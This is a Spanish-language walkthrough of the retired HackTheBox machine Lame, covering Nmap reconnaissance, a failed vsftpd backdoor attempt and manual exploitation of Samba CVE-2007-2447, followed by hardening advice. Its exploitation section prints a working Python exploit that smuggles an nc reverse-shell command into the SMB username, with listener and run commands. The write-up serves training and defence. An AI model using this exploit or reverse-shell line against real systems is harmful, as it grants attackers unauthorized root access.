HackTheBox — Lame Walkthrough

HackTheBox: Lame — Walkthrough Completo y Hardening

Lame es la primera máquina virtual retirada de la plataforma HackTheBox. Con un sistema operativo Linux y una dificultad calificada como «Fácil», es excelente para comprender la interacción de protocolos y el análisis de código a nivel de red.

Fieles a nuestra filosofía de explotación 100% manual y sin el uso de frameworks automáticos (como Metasploit), en este artículo analizaremos la vulnerabilidad de ejecución remota de comandos en Samba (CVE-2007-2447). Aprenderemos a interactuar directamente con el protocolo SMB utilizando un script en Python para comprender el fallo a nivel de sockets, finalizando con un análisis técnico del hardening correspondiente.

Ficha Técnica

Parámetro Detalle
Máquina Lame (HackTheBox)
Sistema Operativo Linux
Dificultad Fácil
IP de Referencia 10.10.10.3
Vectores Clave Samba 3.0.20-Debian, CVE-2007-2447

Resumen de la Cadena de Compromiso (TL;DR)

  1. Reconocimiento: Escaneo de puertos TCP identificando FTP (21), SSH (22), SMB (139, 445) y distccd (3632).
  2. Análisis de Vulnerabilidades:
    • El exploit de backdoor de vsftpd 2.3.4 (CVE-2011-2523) falla debido a restricciones de filtrado de puertos (puerto 6200 cerrado/filtrado).
    • El servicio Samba 3.0.20-Debian es vulnerable a ejecución remota de comandos a través del script de mapas de usuario (CVE-2007-2447).
  3. Explotación Manual: Uso de un script en Python basado en la biblioteca pysmb para inyectar una shell reversa en el campo username del handshake de SMB.
  4. Acceso y Loot: Obtención directa de una consola como usuario root debido a que el servicio Samba corre bajo el contexto del administrador del sistema.

Fase 1: Reconocimiento y Enumeración

Iniciamos con un escaneo completo de puertos mediante Nmap para identificar los servicios en escucha.

# Escaneo de puertos abiertos con detección de versiones, scripts de enumeración y OS
sudo nmap -sS -sV -sC -Pn -p- 10.10.10.3 -oN nmap/full_scan
  • -sS: Escaneo SYN sigiloso.
  • -sV: Determina las versiones exactas de los servicios en ejecución.
  • -sC: Ejecuta los scripts de reconocimiento por defecto de Nmap (NSE).
  • -p-: Escanea los 65535 puertos TCP existentes.

Análisis del Reporte de Nmap:

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4)
NOTA: Encontramos servicios obsoletos con vulnerabilidades críticas conocidas en bases de datos públicas: vsftpd 2.3.4 (backdoor inyectado) y Samba 3.0.20 (username map script).

Fase 2: Análisis de Vectores de Ataque

1. Vector Fallido: vsftpd 2.3.4 Backdoor (CVE-2011-2523)

La versión vsftpd 2.3.4 es famosa porque el código fuente original fue comprometido para incluir una puerta trasera. Cuando un usuario introduce un nombre de usuario terminado en una carita feliz :), el servicio debería abrir un listener de shell en el puerto 6200/TCP.

  • Análisis del fallo: Aunque la inyección de la carita feliz ocurre con éxito en el servicio FTP, la conexión a la shell reversa en el puerto 6200 falla. Esto se debe a que la red o el firewall interno (iptables) de la máquina virtual bloquea o filtra las conexiones entrantes al puerto 6200, frustrando el acceso por esta vía.

2. Vector Exitoso: Samba usermap_script (CVE-2007-2447)

La versión de Samba 3.0.20-Debian es vulnerable a ejecución remota de comandos si tiene habilitada la directiva username map script en su archivo de configuración smb.conf.

Esta directiva permite pasar el nombre de usuario de inicio de sesión a un script externo. Si un atacante envía caracteres especiales de escape de shell en el campo de usuario de SMB, el intérprete de comandos del sistema operativo los ejecuta directamente con privilegios de root (puesto que Samba corre como root).

Fase 3: Explotación Manual del Sistema

A diferencia de las herramientas automáticas que ocultan el flujo de la vulnerabilidad, realizaremos una explotación manual directa a nivel de protocolo utilizando un script personalizado en Python. Esto nos permite entender exactamente qué datos se envían a través de la red y cómo la máquina interpreta nuestro payload.

Funcionamiento de la vulnerabilidad a nivel de código

El fallo reside en que Samba pasa el campo de nombre de usuario sin sanitizar directamente al script definido en username map script dentro de una llamada a la shell (/bin/sh). Al enviar una cadena estructurada como /=`nohup [comando]`, el intérprete de comandos interpreta las comillas invertidas (backticks) y ejecuta el código remoto antes de que Samba procese la autenticación.

Preparación del Entorno:

sudo apt update && sudo apt install python3 python3-pip -y
pip3 install pysmb

Código del Exploit (usermap_script.py):

import sys
from smb.SMBConnection import SMBConnection

def exploit(rhost, rport, lhost, lport):
    # Payload que crea un pipe nombrado (FIFO) para interactuar de forma reversa
    payload = f'mkfifo /tmp/hago; nc {lhost} {lport} 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'
    
    # Inyectamos el comando en el nombre de usuario usando nohup
    username = f"/=`nohup {payload}`"
    
    conn = SMBConnection(username, "", "", "")
    try:
        conn.connect(rhost, int(rport), timeout=1)
    except Exception:
        print("[+] Payload enviado con éxito. ¡Verifica tu netcat!")

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print(f"Uso: python3 {sys.argv[0]} <RHOST> <RPORT> <LHOST> <LPORT>")
    else:
        print("[*] Conectando e inyectando payload...")
        exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

Ejecución del Ataque:

  1. En una terminal de nuestra máquina atacante, iniciamos un listener con Netcat en el puerto deseado (ej. 4443):
    nc -lvnp 4443
  2. En otra terminal, ejecutamos el exploit de Python especificando los parámetros requeridos:
    python3 usermap_script.py 10.10.10.3 139 <TU-IP-ATACANTE> 4443
  3. El script envía la conexión SMB inyectada y el listener de Netcat recibe una shell interactiva directamente como root.

Fase 4: Post-Explotación y Loot

Al verificar nuestro nivel de privilegios dentro de la shell capturada, observamos que ya somos administradores del sistema:

whoami
# root

id
# uid=0(root) gid=0(root)
INFO: Debido a que la vulnerabilidad de Samba se ejecuta en el espacio del sistema (root), no es necesario realizar ninguna fase de escalada de privilegios adicional.

Procedemos a recolectar los flags del sistema:

Flag de Usuario:

cat /home/makis/user.txt

Flag de Root:

cat /root/root.txt

Recomendaciones de Seguridad y Hardening

1. Actualización de Software y Descontinuación de Protocolos Obsoletos

Samba 3.0.20 y vsftpd 2.3.4 son servicios con más de una década de antigüedad llenos de fallas de seguridad conocidas.

Solución: Desinstalar estos servicios obsoletos e instalar versiones estables y actualizadas. En sistemas antiguos, reemplazar Samba por las versiones actuales de Samba 4.x y deshabilitar soporte para el protocolo inseguro SMBv1.

2. Configuración Segura de Samba (smb.conf)

El parámetro username map script permite la ejecución de scripts externos con entradas no controladas.

Solución: En caso de requerir mapeo de usuarios, asegurarse de no utilizar variables que permitan interpretación directa de caracteres especiales de shell en la directiva, o preferir el uso de mapeos estáticos (username map tradicionales apuntando a un archivo plano de texto, sin scripts activos).

3. Implementación de Firewalls y Reglas de Segmentación

Los puertos de administración y de recursos compartidos (como SMB en los puertos 139 y 445) nunca deben estar expuestos a internet o a redes no confiables.

Solución: Configurar el firewall local (ufw o iptables) y dispositivos de red para denegar el acceso a los puertos 139 y 445, permitiéndolo únicamente a direcciones IP específicas de la red interna autorizadas.